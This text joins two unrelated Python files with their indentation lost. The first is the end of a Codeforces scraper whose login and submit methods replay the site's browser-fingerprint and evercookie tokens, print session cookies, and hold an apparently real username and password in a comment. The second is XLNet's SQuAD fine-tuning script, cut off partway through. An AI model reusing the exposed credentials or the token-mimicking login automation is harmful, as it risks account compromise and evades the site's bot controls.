url = "https://codeforces.com/problemset/problem/" + problem_id
status_url = "https://codeforces.com/problemset/status/%s/problem/%s" % (problem_id[:-2], problem_id[-1:])
return problem_id, url, status_url
@staticmethod
def normalize_difficulty(original_difficulty):
difficulty = original_difficulty ** 0.5
dmax = 3800 ** 0.5
dmin = 250 ** 0.5
return (difficulty - dmin) / (dmax - dmin) * 10
@staticmethod
def original_difficulty(normalized_difficulty):
normalized_difficulties = {Codeforces.normalize_difficulty(d): d for d in range(100, 4001, 100)}
for k, v in normalized_difficulties.items():
if abs(k-normalized_difficulty) < 0.001:
return v
def get_csrf(self):
headers = copy.deepcopy(self._headers)
r = self.s.get("https://codeforces.com/", headers=headers, cookies=self._cookies)
raw = r.text
soup = BeautifulSoup(raw, 'html.parser')
self.csrf = soup.select('span.csrf-token')[0]['data-csrf']
self._headers['x-csrf-token'] = self.csrf
# print('CSRF:', self.csrf)
def login(self, username, password):
headers = copy.deepcopy(self._headers)
r = self.s.get("https://codeforces.com/enter", headers=headers)
# print(r.text)
print("cookies:")
for c in r.cookies:
print(c.name, c.value)
soup = BeautifulSoup(r.text, 'html.parser')
csrf = soup.select('meta[name="X-Csrf-Token"]')[0]['content']
self.csrf = csrf
self._headers["x-csrf-token"] = csrf
print("csrf: ", csrf)
url = "https://codeforces.com/2fdcd78/ees?name=70a7c28f3de&cookie=evercookie_etag"
r = self.s.get(url, headers=headers)
print(r.text)
print("evercookie_etag 1 status code:", r.status_code)
print("res header:", r.headers)
url = "https://codeforces.com/2fdcd78/ecs?name=70a7c28f3de&cookie=evercookie_cache"
r = self.s.get(url, headers=headers)
print(r.text)
print("evercookie_cache 1 status code:", r.status_code)
payload = {
"bfaa": self.bfaa,
"ftaa": "",
"csrf_token": csrf
}
headers = copy.deepcopy(self._headers)
# self.s.mount('https://codeforces.com', HTTP20Adapter())
r = self.s.post("https://codeforces.com/data/empty", data=payload, headers=headers)
print("data/empty 1 status code:", r.status_code)
print("req headers:", headers)
# dataraw = ""
# for chunk in (r.iter_content()):
# print("chunk", chunk)
# print(dataraw)
print(r.text)
# print("res headers:", r.headers)
# for k in r.headers:
# print(k, ":", r.headers[k])
print("cookies:")
# for c in r.cookies:
# print(c.name, c.value)
my_cookies = {
"evercookie_png": self.evercookie,
"evercookie_etag": self.evercookie,
"evercookie_cache": self.evercookie
}
# my_cookie = requests.cookies.create_cookie(**self.s.cookies, **optional_args)
requests.utils.add_dict_to_cookiejar(self.s.cookies, my_cookies)
# self.s.cookies.set_cookie(my_cookie)
print(self.s.cookies)
url = "https://codeforces.com/2fdcd78/ees?name=70a7c28f3de&cookie=evercookie_etag"
r = self.s.get(url, headers=headers)
print("evercookie_etag 2 status code:", r.status_code)
print(r.text)
print("res header:", r.headers)
url = "https://codeforces.com/2fdcd78/ecs?name=70a7c28f3de&cookie=evercookie_cache"
r = self.s.get(url, headers=headers)
print(r.text)
print("evercookie_cache 2 status code:", r.status_code)
print("res header:", r.headers)
payload = {
"bfaa": self.bfaa,
"ftaa": self.evercookie,
"csrf_token": csrf
}
r = self.s.post("https://codeforces.com/data/empty", data=payload, headers=headers)
print("data/empty 2 status code:", r.status_code)
print("req headers:", headers)
print(r.text)
url = "https://codeforces.com/enter"
payload = {
"bfaa": self.bfaa,
"ftaa": self.evercookie,
"action": "enter",
"csrf_token": csrf,
"handleOrEmail": username,
"password": password
}
#
r = self.s.post(url, data=payload, headers=headers)
# print(r.text)
print("status code:", r.status_code)
# print("cookies:")
# for c in r.cookies:
# print(c.name, c.value)
print(pickle.dumps(self.s))
def submit(self, contest_id, submitted_problem_index, program_type_id, source, tab_size=4):
url = f"https://codeforces.com/problemset/submit?csrf_token={self.csrf}"
payload = {
"csrf_token": self.csrf,
"bfaa": self.bfaa,
"ftaa": self.evercookie,
"action": "submitSolutionFormSubmitted",
"contestId": contest_id,
"submittedProblemIndex": submitted_problem_index,
"programTypeId": program_type_id,
"source": source,
"tabSize": tab_size,
"sourceFile": "",
"_tta": 836,
}
my_cookies = {
"lastOnlineTimeUpdaterInvocation": "1602201189155",
"X-User-Sha1": "bbc325ea8f12e85b1e918dacdf8cb36016bfeabd"
}
# my_cookie = requests.cookies.create_cookie(**self.s.cookies, **optional_args)
requests.utils.add_dict_to_cookiejar(self.s.cookies, my_cookies)
print(self.s.cookies)
headers = copy.deepcopy(self._headers)
r = self.s.post(url, data=payload, headers=headers)
print(r.text)
print("status code:", r.status_code)
print("cookies:")
for c in r.cookies:
print(c.name, c.value)
if __name__ == '__main__':
cf = Codeforces()
url = "https://codeforces.com/problemset/problem/268/A"
url = "https://codeforces.com/problemset/problem/1593/E"
# cf.gen_RCPC("e9ee4b03c1d0822987185d27bca23378", "188fafdbe0f87ef0fc2810d5b3e34705", "d047fb1e36224370a3f2cd7e9953c968")
# cf.gen_RCPC(url)
dsa_problem = cf.get_problem_from_url(url)
#
# print(dsa_problem.name)
# for t in dsa_problem.testcases_sample:
# print(t)
#
ProblemService.save(dsa_problem, r"D:\projects\ucode\ucode-cli\problems", overwrite=True)
# cf.login("thucnc", "15041985")
# cf.submit(contest_id=4, submitted_problem_index="A", program_type_id=31, source="print('YES')")
# problems, page_count = cf.get_problem_list(1)
# CLog.info("Number of pages: %s" % page_count)
#
# for i in range(len(problems)):
# tags = ', '.join(problems[i].tags)
# print(f'#{i+1} - {problems[i].src_id} - {problems[i].name} - {problems[i].difficulty}'
# f' - {problems[i].src_url} - {tags}')
# break
#
# dsa_problem = cf.get_problem_detail(problems[4])
# dsa_problem = cf.get_problem_from_url("https://codeforces.com/problemset/problem/1257/C")
# dsa_problem = cf.get_problem_from_url("1268/B")
# DsaProblem.save(dsa_problem, "../problems", overwrite=True)
# print(dsa_problem)
|
PypiClean
|
/embedding_as_service-3.1.2-py3-none-any.whl/embedding_as_service/text/xlnet/models/run_squad.py
|
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from absl import flags
import absl.logging as _logging # pylint: disable=unused-import
import collections
import os
import math
import json
import six
import random
import gc
import numpy as np
if six.PY2:
import cPickle as pickle
else:
import pickle
import tensorflow as tf
import sentencepiece as spm
from embedding_as_service.text.xlnet.models.prepro_utils import preprocess_text, encode_ids, encode_pieces, printable_text
from embedding_as_service.text.xlnet.models import function_builder
from embedding_as_service.text.xlnet.models import model_utils
from embedding_as_service.text.xlnet.models import squad_utils
from embedding_as_service.text.xlnet.models.data_utils import SEP_ID, CLS_ID
SPIECE_UNDERLINE = u'▁'
SEG_ID_P = 0
SEG_ID_Q = 1
SEG_ID_CLS = 2
SEG_ID_PAD = 3
# Preprocessing
flags.DEFINE_bool("do_prepro", default=False,
help="Perform preprocessing only.")
flags.DEFINE_integer("num_proc", default=1,
help="Number of preprocessing processes.")
flags.DEFINE_integer("proc_id", default=0,
help="Process id for preprocessing.")
# Model
flags.DEFINE_string("model_config_path", default=None,
help="Model config path.")
flags.DEFINE_float("dropout", default=0.1,
help="Dropout rate.")
flags.DEFINE_float("dropatt", default=0.1,
help="Attention dropout rate.")
flags.DEFINE_integer("clamp_len", default=-1,
help="Clamp length.")
flags.DEFINE_string("summary_type", default="last",
help="Method used to summarize a sequence into a vector.")
flags.DEFINE_bool("use_bfloat16", default=False,
help="Whether to use bfloat16.")
# Parameter initialization
flags.DEFINE_enum("init", default="normal",
enum_values=["normal", "uniform"],
help="Initialization method.")
flags.DEFINE_float("init_std", default=0.02,
help="Initialization std when init is normal.")
flags.DEFINE_float("init_range", default=0.1,
help="Initialization std when init is uniform.")
# I/O paths
flags.DEFINE_bool("overwrite_data", default=False,
help="If False, will use cached data if available.")
flags.DEFINE_string("init_checkpoint", default=None,
help="checkpoint path for initializing the model. "
"Could be a pretrained model or a finetuned model.")
flags.DEFINE_bool("init_global_vars", default=False,
help="If true, init all global vars. If false, init "
"trainable vars only.")
flags.DEFINE_string("output_dir", default="",
help="Output dir for TF records.")
flags.DEFINE_string("predict_dir", default="",
help="Dir for predictions.")
flags.DEFINE_string("spiece_model_file", default="",
help="Sentence Piece model path.")
flags.DEFINE_string("model_dir", default="",
help="Directory for saving the finetuned model.")
flags.DEFINE_string("train_file", default="",
help="Path of train file.")
flags.DEFINE_string("predict_file", default="",
help="Path of prediction file.")
# Data preprocessing config
flags.DEFINE_integer("max_seq_length",
default=512, help="Max sequence length")
flags.DEFINE_integer("max_query_length",
default=64, help="Max query length")
flags.DEFINE_integer("doc_stride",
default=128, help="Doc stride")
flags.DEFINE_integer("max_answer_length",
default=64, help="Max answer length")
flags.DEFINE_bool("uncased", default=False, help="Use uncased data.")
# TPUs and machines
flags.DEFINE_bool("use_tpu", default=False, help="whether to use TPU.")
flags.DEFINE_integer("num_hosts", default=1, help="How many TPU hosts.")
flags.DEFINE_integer("num_core_per_host", default=8,
help="8 for TPU v2 and v3-8, 16 for larger TPU v3 pod. In the context "
"of GPU training, it refers to the number of GPUs used.")
flags.DEFINE_string("tpu_job_name", default=None, help="TPU worker job name.")
flags.DEFINE_string("tpu", default=None, help="TPU name.")
flags.DEFINE_string("tpu_zone", default=None, help="TPU zone.")
flags.DEFINE_string("gcp_project", default=None, help="gcp project.")
flags.DEFINE_string("master", default=None, help="master")
flags.DEFINE_integer("iterations", default=1000,
help="number of iterations per TPU training loop.")
# Training
flags.DEFINE_bool("do_train", default=True, help="whether to do training")
flags.DEFINE_integer("train_batch_size", default=48,
help="batch size for training")
flags.DEFINE_integer("train_steps", default=8000,
help="Number of training steps")
flags.DEFINE_integer("warmup_steps", default=0, help="number of warmup steps")
flags.DEFINE_integer("save_steps", default=None,
help="Save the model for every save_steps. "
"If None, not to save any model.")
flags.DEFINE_integer("max_save", default=5,
help="Max number of checkpoints to save. "
"Use 0 to save all.")
flags.DEFINE_integer("shuffle_buffer", default=2048,
help="Buffer size used for shuffle.")
# Optimization
flags.DEFINE_float("learning_rate", default=3e-5, help="initial learning rate")
flags.DEFINE_float("min_lr_ratio", default=0.0,
help="min lr ratio for cos decay.")
flags.DEFINE_float("clip", default=1.0, help="Gradient clipping")
flags.DEFINE_float("weight_decay", default=0.00, help="Weight decay rate")
flags.DEFINE_float("adam_epsilon", default=1e-6, help="Adam epsilon")
flags.DEFINE_string("decay_method", default="poly", help="poly or cos")
flags.DEFINE_float("lr_layer_decay_rate", default=0.75,
help="Top layer: lr[L] = FLAGS.learning_rate."
"Lower layers: lr[l-1] = lr[l] * lr_layer_decay_rate.")
# Eval / Prediction
flags.DEFINE_bool("do_predict", default=False, help="whether to do predict")
flags.DEFINE_integer("predict_batch_size", default=32,
help="batch size for prediction")
flags.DEFINE_integer("n_best_size", default=5,
help="n best size for predictions")
flags.DEFINE_integer("start_n_top", default=5, help="Beam size for span start.")
flags.DEFINE_integer("end_n_top", default=5, help="Beam size for span end.")
flags.DEFINE_string("target_eval_key", default="best_f1",
help="Use has_ans_f1 for Model I.")
FLAGS = flags.FLAGS
class SquadExample(object):
"""A single training/test example for simple sequence classification.
For examples without an answer, the start and end position are -1.
"""
def __init__(self,
qas_id,
question_text,
paragraph_text,
orig_answer_text=None,
start_position=None,
is_impossible=False):
self.qas_id = qas_id
self.question_text = question_text
self.paragraph_text = paragraph_text
self.orig_answer_text = orig_answer_text
self.start_position = start_position
self.is_impossible = is_impossible
def __str__(self):
return self.__repr__()
def __repr__(self):
s = ""
s += "qas_id: %s" % (printable_text(self.qas_id))
s += ", question_text: %s" % (
printable_text(self.question_text))
s += ", paragraph_text: [%s]" % (" ".join(self.paragraph_text))
if self.start_position:
s += ", start_position: %d" % (self.start_position)
if self.start_position:
s += ", is_impossible: %r" % (self.is_impossible)
return s
class InputFeatures(object):
"""A single set of features of data."""
def __init__(self,
unique_id,
example_index,
doc_span_index,
tok_start_to_orig_index,
tok_end_to_orig_index,
token_is_max_context,
input_ids,
input_mask,
p_mask,
segment_ids,
paragraph_len,
cls_index,
start_position=None,
end_position=None,
is_impossible=None):
self.unique_id = unique_id
self.example_index = example_index
self.doc_span_index = doc_span_index
self.tok_start_to_orig_index = tok_start_to_orig_index
self.tok_end_to_orig_index = tok_end_to_orig_index
self.token_is_max_context = token_is_max_context
self.input_ids = input_ids
self.input_mask = input_mask
self.p_mask = p_mask
self.segment_ids = segment_ids
self.paragraph_len = paragraph_len
self.cls_index = cls_index
self.start_position = start_position
self.end_position = end_position
self.is_impossible = is_impossible
def read_squad_examples(input_file, is_training):
"""Read a SQuAD json file into a list of SquadExample."""
with tf.gfile.Open(input_file, "r") as reader:
input_data = json.load(reader)["data"]
examples = []
for entry in input_data:
for paragraph in entry["paragraphs"]:
paragraph_text = paragraph["context"]
for qa in paragraph["qas"]:
qas_id = qa["id"]
question_text = qa["question"]
start_position = None
orig_answer_text = None
is_impossible = False
if is_training:
is_impossible = qa["is_impossible"]
if (len(qa["answers"]) != 1) and (not is_impossible):
raise ValueError(
"For training, each question should have exactly 1 answer.")
if not is_impossible:
answer = qa["answers"][0]
orig_answer_text = answer["text"]
start_position = answer["answer_start"]
else:
start_position = -1
orig_answer_text = ""
example = SquadExample(
qas_id=qas_id,
question_text=question_text,
paragraph_text=paragraph_text,
orig_answer_text=orig_answer_text,
start_position=start_position,
is_impossible=is_impossible)
examples.append(example)
return examples
def _convert_index(index, pos, M=None, is_start=True):
if index[pos] is not None:
return index[pos]
N = len(index)
rear = pos
while rear < N - 1 and index[rear] is None:
rear += 1
front = pos
while front > 0 and index[front] is None:
front -= 1
assert index[front] is not None or index[rear] is not None
if index[front] is None:
if index[rear] >= 1:
if is_start:
return 0
else:
return index[rear] - 1
return index[rear]
if index[rear] is None:
if M is not None and index[front] < M - 1:
if is_start:
return index[front] + 1
else:
return M - 1
return index[front]
if is_start:
if index[rear] > index[front] + 1:
return index[front] + 1
else:
return index[rear]
else:
if index[rear] > index[front] + 1:
return index[rear] - 1
else:
return index[front]
def convert_examples_to_features(examples, sp_model, max_seq_length,
doc_stride, max_query_length, is_training,
output_fn):
"""Loads a data file into a list of `InputBatch`s."""
cnt_pos, cnt_neg = 0, 0
unique_id = 1000000000
max_N, max_M = 1024, 1024
f = np.zeros((max_N, max_M), dtype=np.float32)
for (example_index, example) in enumerate(examples):
if example_index % 100 == 0:
tf.logging.info('Converting {}/{} pos {} neg {}'.format(
example_index, len(examples), cnt_pos, cnt_neg))
query_tokens = encode_ids(
sp_model,
preprocess_text(example.question_text, lower=FLAGS.uncased))
if len(query_tokens) > max_query_length:
query_tokens = query_tokens[0:max_query_length]
paragraph_text = example.paragraph_text
para_tokens = encode_pieces(
sp_model,
preprocess_text(example.paragraph_text, lower=FLAGS.uncased))
chartok_to_tok_index = []
tok_start_to_chartok_index = []
tok_end_to_chartok_index = []
char_cnt = 0
for i, token in enumerate(para_tokens):
chartok_to_tok_index.extend([i] * len(token))
tok_start_to_chartok_index.append(char_cnt)
char_cnt += len(token)
tok_end_to_chartok_index.append(char_cnt - 1)
tok_cat_text = ''.join(para_tokens).replace(SPIECE_UNDERLINE, ' ')
N, M = len(paragraph_text), len(tok_cat_text)
if N > max_N or M > max_M:
max_N = max(N, max_N)
max_M = max(M, max_M)
f = np.zeros((max_N, max_M), dtype=np.float32)
gc.collect()
g = {}
def _lcs_match(max_dist):
f.fill(0)
g.clear()
### longest common sub sequence
# f[i, j] = max(f[i - 1, j], f[i, j - 1], f[i - 1, j - 1] + match(i, j))
for i in range(N):
# note(zhiliny):
# unlike standard LCS, this is specifically optimized for the setting
# because the mismatch between sentence pieces and original text will
# be small
for j in range(i - max_dist, i + max_dist):
if j >= M or j < 0: continue
if i > 0:
g[(i, j)] = 0
f[i, j] = f[i - 1, j]
if j > 0 and f[i, j - 1] > f[i, j]:
g[(i, j)] = 1
f[i, j] = f[i, j - 1]
f_prev = f[i - 1, j - 1] if i > 0 and j > 0 else 0
if (preprocess_text(paragraph_text[i], lower=FLAGS.uncased,
remove_space=False)
== tok_cat_text[j]
and f_prev + 1 > f[i, j]):
g[(i, j)] = 2
f[i, j] = f_prev + 1
max_dist = abs(N - M) + 5
for _ in range(2):
_lcs_match(max_dist)
if f[N - 1, M - 1] > 0.8 * N: break
max_dist *= 2
orig_to_chartok_index = [None] * N
chartok_to_orig_index = [None] * M
i, j = N - 1, M - 1
while i >= 0 and j >= 0:
if (i, j) not in g: break
if g[(i, j)] == 2:
orig_to_chartok_index[i] = j
chartok_to_orig_index[j] = i
i, j = i - 1, j - 1
elif g[(i, j)] == 1:
j = j - 1
else:
i = i - 1
if all(v is None for v in orig_to_chartok_index) or f[N - 1, M - 1] < 0.8 * N:
print('MISMATCH DETECTED!')
continue
tok_start_to_orig_index = []
tok_end_to_orig_index = []
for i in range(len(para_tokens)):
start_chartok_pos = tok_start_to_chartok_index[i]
end_chartok_pos = tok_end_to_chartok_index[i]
start_orig_pos = _convert_index(chartok_to_orig_index, start_chartok_pos,
N, is_start=True)
end_orig_pos = _convert_index(chartok_to_orig_index, end_chartok_pos,
N, is_start=False)
tok_start_to_orig_index.append(start_orig_pos)
tok_end_to_orig_index.append(end_orig_pos)
if not is_training:
tok_start_position = tok_end_position = None
if is_training and example.is_impossible:
tok_start_position = -1
tok_end_position = -1
if is_training and not example.is_impossible:
start_position = example.start_position
end_position = start_position + len(example.orig_answer_text) - 1
start_chartok_pos = _convert_index(orig_to_chartok_index, start_position,
is_start=True)
tok_start_position = chartok_to_tok_index[start_chartok_pos]
end_chartok_pos = _convert_index(orig_to_chartok_index, end_position,
is_start=False)
tok_end_position = chartok_to_tok_index[end_chartok_pos]
assert tok_start_position <= tok_end_position
def _piece_to_id(x):
if six.PY2 and isinstance(x, (str, six.text_type)):
x = x.encode('utf-8')
return sp_model.PieceToId(x)
all_doc_tokens = list(map(_piece_to_id, para_tokens))
# The -3 accounts for [CLS], [SEP] and [SEP]
max_tokens_for_doc = max_seq_length - len(query_tokens) - 3
# We can have documents that are longer than the maximum sequence length.
# To deal with this we do a sliding window approach, where we take chunks
# of the up to our max length with a stride of `doc_stride`.
_DocSpan = collections.namedtuple( # pylint: disable=invalid-name
"DocSpan", ["start", "length"])
doc_spans = []
start_offset = 0
while start_offset < len(all_doc_tokens):
length = len(all_doc_tokens) - start_offset
if length > max_tokens_for_doc:
length = max_tokens_for_doc
doc_spans.append(_DocSpan(start=start_offset, length=length))
if start_offset + length == len(all_doc_tokens):
break
start_offset += min(length, doc_stride)
for (doc_span_index, doc_span) in enumerate(doc_spans):
tokens = []
token_is_max_context = {}
segment_ids = []
p_mask = []
cur_tok_start_to_orig_index = []
cur_tok_end_to_orig_index = []
for i in range(doc_span.length):
split_token_index = doc_span.start + i
cur_tok_start_to_orig_index.append(
tok_start_to_orig_index[split_token_index])
cur_tok_end_to_orig_index.append(
tok_end_to_orig_index[split_token_index])
is_max_context = _check_is_max_context(doc_spans, doc_span_index,
split_token_index)
token_is_max_context[len(tokens)] = is_max_context
tokens.append(all_doc_tokens[split_token_index])
segment_ids.append(SEG_ID_P)
p_mask.append(0)
paragraph_len = len(tokens)
tokens.append(SEP_ID)
segment_ids.append(SEG_ID_P)
p_mask.append(1)
# note(zhiliny): we put P before Q
# because during pretraining, B is always shorter than A
for token in query_tokens:
tokens.append(token)
segment_ids.append(SEG_ID_Q)
p_mask.append(1)
tokens.append(SEP_ID)
segment_ids.append(SEG_ID_Q)
p_mask.append(1)
cls_index = len(segment_ids)
tokens.append(CLS_ID)
segment_ids.append(SEG_ID_CLS)
p_mask.append(0)
input_ids = tokens
# The mask has 0 for real tokens and 1 for padding tokens. Only real
# tokens are attended to.
input_mask = [0] * len(input_ids)
# Zero-pad up to the sequence length.
while len(input_ids) < max_seq_length:
input_ids.append(0)
input_mask.append(1)
segment_ids.append(SEG_ID_PAD)
p_mask.append(1)
assert len(input_ids) == max_seq_length
assert len(input_mask) == max_seq_length
assert len(segment_ids) == max_seq_length
assert len(p_mask) == max_seq_length
span_is_impossible = example.is_impossible
start_position = None
end_position = None
if is_training and not span_is_impossible:
# For training, if our document chunk does not contain an annotation
# we throw it out, since there is nothing to predict.
doc_start = doc_span.start
doc_end = doc_span.start + doc_span.length - 1
out_of_span = False
if not (tok_start_position >= doc_start and
tok_end_position <= doc_end):
out_of_span = True
if out_of_span:
# continue
start_position = 0
end_position = 0
span_is_impossible = True
else:
# note(zhiliny): we put P before Q, so doc_offset should be zero.
# doc_offset = len(query_tokens) + 2
doc_offset = 0
start_position = tok_start_position - doc_start + doc_offset
end_position = tok_end_position - doc_start + doc_offset
if is_training and span_is_impossible:
start_position = cls_index
end_position = cls_index
if example_index < 20:
tf.logging.info("*** Example ***")
tf.logging.info("unique_id: %s" % (unique_id))
tf.logging.info("example_index: %s" % (example_index))
tf.logging.info("doc_span_index: %s" % (doc_span_index))
tf.logging.info("tok_start_to_orig_index: %s" % " ".join(
[str(x) for x in cur_tok_start_to_orig_index]))
tf.logging.info("tok_end_to_orig_index: %s" % " ".join(
[str(x) for x in cur_tok_end_to_orig_index]))
tf.logging.info("token_is_max_context: %s" % " ".join([
"%d:%s" % (x, y) for (x, y) in six.iteritems(token_is_max_context)
]))
tf.logging.info("input_ids: %s" % " ".join([str(x) for x in input_ids]))
tf.logging.info(
"input_mask: %s" % " ".join([str(x) for x in input_mask]))
tf.logging.info(
"segment_ids: %s" % " ".join([str(x) for x in segment_ids]))
if is_training and span_is_impossible:
tf.logging.info("impossible example span")
if is_training and not span_is_impossible:
pieces = [sp_model.IdToPiece(token) for token in
tokens[start_position: (end_position + 1)]]
answer_text = sp_model.DecodePieces(pieces)
tf.logging.info("start_position: %d" % (start_position))
tf.logging.info("end_position: %d" % (end_position))
tf.logging.info(
"answer: %s" % (printable_text(answer_text)))
# note(zhiliny): With multi processing,
# the example_index is actually the index within the current process
# therefore we use example_index=None to avoid being used in the future.
# The current code does not use example_index of training data.
if is_training:
feat_example_index = None
else:
feat_example_index = example_index
feature = InputFeatures(
unique_id=unique_id,
example_index=feat_example_index,
doc_span_index=doc_span_index,
tok_start_to_orig_index=cur_tok_start_to_orig_index,
tok_end_to_orig_index=cur_tok_end_to_orig_index,
token_is_max_context=token_is_max_context,
input_ids=input_ids,
input_mask=input_mask,
p_mask=p_mask,
segment_ids=segment_ids,
paragraph_len=paragraph_len,
cls_index=cls_index,
start_position=start_position,
end_position=end_position,
is_impossible=span_is_impossible)
# Run callback
output_fn(feature)
unique_id += 1
if span_is_impossible:
cnt_neg += 1
else:
cnt_pos += 1
tf.logging.info("Total number of instances: {} = pos {} neg {}".format(
cnt_pos + cnt_neg, cnt_pos, cnt_neg))
def _check_is_max_context(doc_spans, cur_span_index, position):
"""Check if this is the 'max context' doc span for the token."""
# Because of the sliding window approach taken to scoring documents, a single
# token can appear in multiple documents. E.g.
# Doc: the man went to the store and bought a gallon of milk
# Span A: the man went to the
# Span B: to the store and bought
# Span C: and bought a gallon of
# ...
#
# Now the word 'bought' will have two scores from spans B and C. We only
# want to consider the score with "maximum context", which we define as
# the *minimum* of its left and right context (the *sum* of left and
# right context will always be the same, of course).
#
# In the example the maximum context for 'bought' would be span C since
# it has 1 left context and 3 right context, while span B has 4 left context
# and 0 right context.
best_score = None
best_span_index = None
for (span_index, doc_span) in enumerate(doc_spans):
end = doc_span.start + doc_span.length - 1
if position < doc_span.start:
continue
if position > end:
continue
num_left_context = position - doc_span.start
num_right_context = end - position
score = min(num_left_context, num_right_context) + 0.01 * doc_span.length
if best_score is None or score > best_score:
best_score = score
best_span_index = span_index
return cur_span_index == best_span_index
class FeatureWriter(object):
"""Writes InputFeature to TF example file."""
def __init__(self, filename, is_training):
self.filename = filename
self.is_training = is_training
self.num_features = 0
self._writer = tf.python_io.TFRecordWriter(filename)
def process_feature(self, feature):
"""Write a InputFeature to the TFRecordWriter as a tf.train.Example."""
self.num_features += 1
def create_int_feature(values):
feature = tf.train.Feature(
int64_list=tf.train.Int64List(value=list(values)))
return feature
def create_float_feature(values):
f = tf.train.Feature(float_list=tf.train.FloatList(value=list(values)))
return f
features = collections.OrderedDict()
features["unique_ids"] = create_int_feature([feature.unique_id])
features["input_ids"] = create_int_feature(feature.input_ids)
features["input_mask"] = create_float_feature(feature.input_mask)
features["p_mask"] = create_float_feature(feature.p_mask)
features["segment_ids"] = create_int_feature(feature.segment_ids)
features["cls_index"] = create_int_feature([feature.cls_index])
if self.is_training:
features["start_positions"] = create_int_feature([feature.start_position])
features["end_positions"] = create_int_feature([feature.end_position])
impossible = 0
if feature.is_impossible:
impossible = 1
features["is_impossible"] = create_float_feature([impossible])
tf_example = tf.train.Example(features=tf.train.Features(feature=features))
self._writer.write(tf_example.SerializeToString())
def close(self):
self._writer.close()
RawResult = collections.namedtuple("RawResult",
["unique_id", "start_top_log_probs", "start_top_index",
"end_top_log_probs", "end_top_index", "cls_logits"])
_PrelimPrediction = collections.namedtuple( # pylint: disable=invalid-name
"PrelimPrediction",
["feature_index", "start_index", "end_index",
"start_log_prob", "end_log_prob"])
_NbestPrediction = collections.namedtuple( # pylint: disable=invalid-name
"NbestPrediction", ["text", "start_log_prob", "end_log_prob"])
def write_predictions(all_examples, all_features, all_results, n_best_size,
max_answer_length, output_prediction_file,
output_nbest_file,
output_null_log_odds_file, orig_data):
"""Write final predictions to the json file and log-odds of null if needed."""
tf.logging.info("Writing predictions to: %s" % (output_prediction_file))
# tf.logging.info("Writing nbest to: %s" % (output_nbest_file))
example_index_to_features = collections.defaultdict(list)
for feature in all_features:
example_index_to_features[feature.example_index].append(feature)
unique_id_to_result = {}
for result in all_results:
unique_id_to_result[result.unique_id] = result
all_predictions = collections.OrderedDict()
all_nbest_json = collections.OrderedDict()
scores_diff_json = collections.OrderedDict()
for (example_index, example) in enumerate(all_examples):
features = example_index_to_features[example_index]
prelim_predictions = []
# keep track of the minimum score of null start+end of position 0
score_null = 1000000 # large and positive
for (feature_index, feature) in enumerate(features):
result = unique_id_to_result[feature.unique_id]
cur_null_score = result.cls_logits
# if we could have irrelevant answers, get the min score of irrelevant
score_null = min(score_null, cur_null_score)
for i in range(FLAGS.start_n_top):
for j in range(FLAGS.end_n_top):
start_log_prob = result.start_top_log_probs[i]
start_index = result.start_top_index[i]
j_index = i * FLAGS.end_n_top + j
end_log_prob = result.end_top_log_probs[j_index]
end_index = result.end_top_index[j_index]
# We could hypothetically create invalid predictions, e.g., predict
# that the start of the span is in the question. We throw out all
# invalid predictions.
if start_index >= feature.paragraph_len - 1:
continue
if end_index >= feature.paragraph_len - 1:
continue
if not feature.token_is_max_context.get(start_index, False):
continue
if end_index < start_index:
continue
length = end_index - start_index + 1
if length > max_answer_length:
continue
prelim_predictions.append(
_PrelimPrediction(
feature_index=feature_index,
start_index=start_index,
end_index=end_index,
start_log_prob=start_log_prob,
end_log_prob=end_log_prob))
prelim_predictions = sorted(
prelim_predictions,
key=lambda x: (x.start_log_prob + x.end_log_prob),
reverse=True)
seen_predictions = {}
nbest = []
for pred in prelim_predictions:
if len(nbest) >= n_best_size:
break
feature = features[pred.feature_index]
tok_start_to_orig_index = feature.tok_start_to_orig_index
tok_end_to_orig_index = feature.tok_end_to_orig_index
start_orig_pos = tok_start_to_orig_index[pred.start_index]
end_orig_pos = tok_end_to_orig_index[pred.end_index]
paragraph_text = example.paragraph_text
final_text = paragraph_text[start_orig_pos: end_orig_pos + 1].strip()
if final_text in seen_predictions:
continue
seen_predictions[final_text] = True
nbest.append(
_NbestPrediction(
text=final_text,
start_log_prob=pred.start_log_prob,
end_log_prob=pred.end_log_prob))
# In very rare edge cases we could have no valid predictions. So we
# just create a nonce prediction in this case to avoid failure.
if not nbest:
nbest.append(
_NbestPrediction(text="", start_log_prob=-1e6,
end_log_prob=-1e6))
total_scores = []
best_non_null_entry = None
for entry in nbest:
total_scores.append(entry.start_log_prob + entry.end_log_prob)
if not best_non_null_entry:
best_non_null_entry = entry
probs = _compute_softmax(total_scores)
nbest_json = []
for (i, entry) in enumerate(nbest):
output = collections.OrderedDict()
output["text"] = entry.text
output["probability"] = probs[i]
output["start_log_prob"] = entry.start_log_prob
output["end_log_prob"] = entry.end_log_prob
nbest_json.append(output)
assert len(nbest_json) >= 1
assert best_non_null_entry is not None
score_diff = score_null
scores_diff_json[example.qas_id] = score_diff
# note(zhiliny): always predict best_non_null_entry
# and the evaluation script will search for the best threshold
all_predictions[example.qas_id] = best_non_null_entry.text
all_nbest_json[example.qas_id] = nbest_json
with tf.gfile.GFile(output_prediction_file, "w") as writer:
writer.write(json.dumps(all_predictions, indent=4) + "\n")
with tf.gfile.GFile(output_nbest_file, "w") as writer:
writer.write(json.dumps(all_nbest_json, indent=4) + "\n")
with tf.gfile.GFile(output_null_log_odds_file, "w") as writer:
writer.write(json.dumps(scores_diff_json, indent=4) + "\n")
qid_to_has_ans = squad_utils.make_qid_to_has_ans(orig_data)
has_ans_qids = [k for k, v in qid_to_has_ans.items() if v]
no_ans_qids = [k for k, v in qid_to_has_ans.items() if not v]
exact_raw, f1_raw = squad_utils.get_raw_scores(orig_data, all_predictions)
out_eval = {}
squad_utils.find_all_best_thresh_v2(out_eval, all_predictions, exact_raw, f1_raw,
scores_diff_json, qid_to_has_ans)
return out_eval
def _get_best_indexes(logits, n_best_size):
"""Get the n-best logits from a list."""
index_and_score = sorted(enumerate(logits), key=lambda x: x[1], reverse=True)
best_indexes = []
for i in range(len(index_and_score)):
if i >= n_best_size:
break
best_indexes.append(index_and_score[i][0])
return best_indexes
def _compute_softmax(scores):
"""Compute softmax probability over raw logits."""
if not scores:
return []
max_score = None
for score in scores:
if max_score is None or score > max_score:
max_score = score
exp_scores = []
total_sum = 0.0
for score in scores:
x = math.exp(score - max_score)
exp_scores.append(x)
total_sum += x
probs = []
for score in exp_scores:
probs.append(score / total_sum)
return probs
def input_fn_builder(input_glob, seq_length, is_training, drop_remainder,
num_hosts, num_threads=8):
"""Creates an `input_fn` closure to be passed to TPUEstimator."""
